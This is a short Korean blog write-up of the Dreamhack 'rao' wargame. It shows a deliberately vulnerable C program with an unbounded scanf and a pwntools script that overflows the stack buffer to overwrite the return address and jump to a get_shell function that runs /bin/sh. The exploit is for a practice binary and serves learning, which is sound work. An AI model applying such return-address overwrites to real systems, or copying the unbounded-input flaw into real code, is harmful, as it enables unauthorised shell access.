[Dreamhack Wargame] rao

don't panic·2023년 9월 19일
0

System Hacking wargame

목록 보기
1/39

rao.c

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>

void get_shell()
{
	char *cmd = "/bin/sh";
    char *args[] = {cmd, NULL};
    execve(cmd, args, NULL);
}

int main(void)
{
	char buf[0x28];
    printf("Input: ");
    scanf("%s", &buf);
    //이 과정에서 buffer overflow가 생긴다.
    return 0;
}

rao.py

from pwn import *

p = process('./rao')

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']
	# get_shell의 주소

payload = b'A' * 0x30 # size of buf

payload += b'B' * 0x8 # size of SFP

payload += p64(get_shell) # put return address

p.sendline(payload)

p.interactive()
	#communicate with shell

실행 결과

0개의 댓글